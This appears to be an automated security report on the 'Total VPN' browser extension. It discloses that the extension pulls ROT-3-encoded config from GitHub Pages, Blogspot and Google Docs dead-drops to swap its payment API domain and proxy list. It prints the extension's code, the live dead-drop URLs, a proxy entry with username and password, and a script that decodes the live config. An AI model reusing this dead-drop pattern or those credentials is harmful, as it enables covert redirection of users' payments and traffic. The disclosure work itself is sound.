Is Total VPN - один ВПН для всего safe?
Total VPN - один ВПН для всего is high risk. On popup open, the worker fetches config from GitHub Pages, Blogspot, or Google Docs, ROT-3 decoded. A 'u' value overwrites the payment API domain; 's' is a base64 proxy list. The operator can edit these pages anytime; confirmed live.
Who publishes itkatia.noomova - 7 other listings from the same operator, 2 of them carrying a finding
katia.noomova - 7 other listings from the same operator, 2 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
7 other listings published from this account, 24k+ users between them. 2 of them carry a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Payment domain and proxy list swapped via dead-drop config pages
On popup open, the worker fetches config from GitHub Pages, Blogspot, or Google Docs, ROT-3 decoded.
A 'u' value overwrites the payment API domain; 's' is a base64 proxy list.
The operator can edit these pages anytime; confirmed live.
What actually happens
You open the VPN extension's popup.
The extension fetches a configuration file from a public page it controls and uses it to set which domain receives your payment and account requests.
The same response also supplies the list of proxy servers your browsing traffic is routed through.
Captured request
Returned a ROT-3-obfuscated body (about 1.9 KB) observed during dynamic analysis on popup open. If this host fails, the extension retries https://twexst.blogspot.com/p/data2.html and then https://docs.google.com/document/d/1SFsBZ6Nsz1WH86YIKZyuT_KSzE_Ns36MS_78WOblpU0/edit.
- Cache-Control
- no-cache
Why you can't catch this in DevTools
The fetched body is encoded with a 3-position Caesar letter shift so it is not readable as JSON on the wire. Decoding it reveals the replacement payment domain ('u') and a base64-encoded server list ('s').
{ "u": "mainapi.store", "s": [ "196.16.2.115:9037:RD4xCy:9XFUs|2026-07-14|gb|rmd" ]}The code that does this
Remote config replaces the payment API domain and extends the proxy server list
var c=showx(data.trim(),3); // ROT-3 decodevar j=JSON.parse(c);if(typeof(j['u'])!='undefined'){ if(j['u'].length>0){ ucheckout="https://"+j['u']; // replace payment/account API domain chrome.storage.local.set({"apiurl":j['u']}) }}if(typeof(j['s'])!='undefined'){ chrome.storage.local.set({"servers":JSON.stringify(j['s'])}); j['s'].forEach(function(e,i){ let k=atob(e).split("|"); // host:port:user:pass | expiry | country | label a1.push(k[0]); }); serverConfigs.unshift(...a1); // prepend remote servers}// The replaced domain becomes the base for every payment/account call:$.post(ucheckout+"/api/v"+acheckout+"/check_ssid",{id:id,...});$.post(ucheckout+"/api/v"+acheckout+"/getvpn",{id:id,...});$.post(ucheckout+"/api/v"+acheckout+"/setcode",{id:id,t:tcheckout,c:c});Public pages used to deliver the configuration
- katnmv.github.io
Primary dead-drop: serves exs/list.json, the ROT-3-encoded config carrying the payment domain and server list. GitHub Pages, editable by whoever controls the repository.
- twexst.blogspot.com
First fallback dead-drop: the page /p/data2.html carries the same config. Blogspot, editable by the post owner.
- docs.google.com
Second fallback dead-drop: a Google Docs document (id 1SFsBZ6Nsz1WH86YIKZyuT_KSzE_Ns36MS_78WOblpU0) carries the same config. Editable by the document owner.
- mainapi.store
Default payment/account API domain shipped in conf.js; replaceable at runtime by the 'u' field from any of the dead-drop pages.
Reproduce it yourself
Fetches the GitHub Pages config, applies the ROT-3 decode the extension uses, parses the JSON, and prints the replacement payment domain plus each decoded proxy server entry.
- Node.js 18+
// Reproduces the extension's config decode. Node 18+ (global fetch).const URLS = [ 'https://katnmv.github.io/exs/list.json', 'https://twexst.blogspot.com/p/data2.html', 'https://docs.google.com/document/d/1SFsBZ6Nsz1WH86YIKZyuT_KSzE_Ns36MS_78WOblpU0/edit'];function rot(text, shift) { // matches showx(text,3) return text.split('').map((c) => { if (/[a-z]/i.test(c)) { const code = c.charCodeAt(0); const base = code >= 65 && code <= 90 ? 65 : 97; return String.fromCharCode(((code - base - shift + 26) % 26) + base); } return c; }).join('');}(async () => { let body; for (const u of URLS) { try { const r = await fetch(u, { headers: { 'Cache-Control': 'no-cache' } }); if (r.ok) { body = await r.text(); break; } } catch {} } if (!body) { console.error('no config fetched'); return; } const j = JSON.parse(rot(body.trim(), 3)); if (j.u) console.log('payment API domain ->', j.u); (j.s || []).forEach((e) => { const [hostPort, expiry, country, label] = Buffer.from(e, 'base64').toString().split('|'); console.log('proxy server ->', hostPort, '| expiry', expiry, '| country', country, '| label', label); });})();- 1Save as decode-config.js.
- 2Run
node decode-config.js. - 3Read the printed payment API domain and the decoded proxy server entries.
